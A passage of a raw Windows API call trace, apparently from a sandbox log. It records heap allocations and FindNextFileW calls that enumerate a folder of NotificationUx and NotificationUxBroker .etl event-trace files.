RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0152.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631140 [0152.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631140 | out: hHeap=0x570000) returned 1 [0152.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0152.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0152.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0152.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0152.977] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd6790700, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0152.980] GetLastError () returned 0x0 [0152.980] SetLastError (dwErrCode=0x0) [0152.980] GetLastError () returned 0x0 [0152.980] SetLastError (dwErrCode=0x0) [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0152.980] GetLastError () returned 0x0 [0152.980] SetLastError (dwErrCode=0x0) [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631440 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631440 | out: hHeap=0x570000) returned 1 [0152.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0152.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.981] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd880 [0152.981] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0152.981] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0152.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] GetLastError () returned 0x0 [0152.981] SetLastError (dwErrCode=0x0) [0152.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0152.982] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.982] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0152.982] GetLastError () returned 0x0 [0152.982] SetLastError (dwErrCode=0x0) [0152.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.983] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.983] GetLastError () returned 0x0 [0152.983] SetLastError (dwErrCode=0x0) [0152.983] GetLastError () returned 0x0 [0152.983] SetLastError (dwErrCode=0x0) [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.983] GetLastError () returned 0x0 [0152.983] SetLastError (dwErrCode=0x0) [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.983] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0152.983] GetLastError () returned 0x0 [0152.983] SetLastError (dwErrCode=0x0) [0152.983] GetLastError () returned 0x0 [0152.983] SetLastError (dwErrCode=0x0) [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0152.983] GetLastError () returned 0x0 [0152.983] SetLastError (dwErrCode=0x0) [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0152.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0152.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.983] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0152.984] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0152.984] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0152.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0152.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.984] GetLastError () returned 0x0 [0152.984] SetLastError (dwErrCode=0x0) [0152.984] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0152.985] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0152.985] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.985] GetLastError () returned 0x0 [0152.985] SetLastError (dwErrCode=0x0) [0152.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0152.986] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0152.986] GetLastError () returned 0x0 [0152.986] SetLastError (dwErrCode=0x0) [0152.986] GetLastError () returned 0x0 [0152.986] SetLastError (dwErrCode=0x0) [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0152.986] GetLastError () returned 0x0 [0152.986] SetLastError (dwErrCode=0x0) [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.986] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0152.986] GetLastError () returned 0x0 [0152.986] SetLastError (dwErrCode=0x0) [0152.986] GetLastError () returned 0x0 [0152.986] SetLastError (dwErrCode=0x0) [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0152.986] GetLastError () returned 0x0 [0152.986] SetLastError (dwErrCode=0x0) [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0152.986] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0152.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0152.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0152.987] GetLastError () returned 0x0 [0152.987] SetLastError (dwErrCode=0x0) [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0152.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0152.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0152.987] 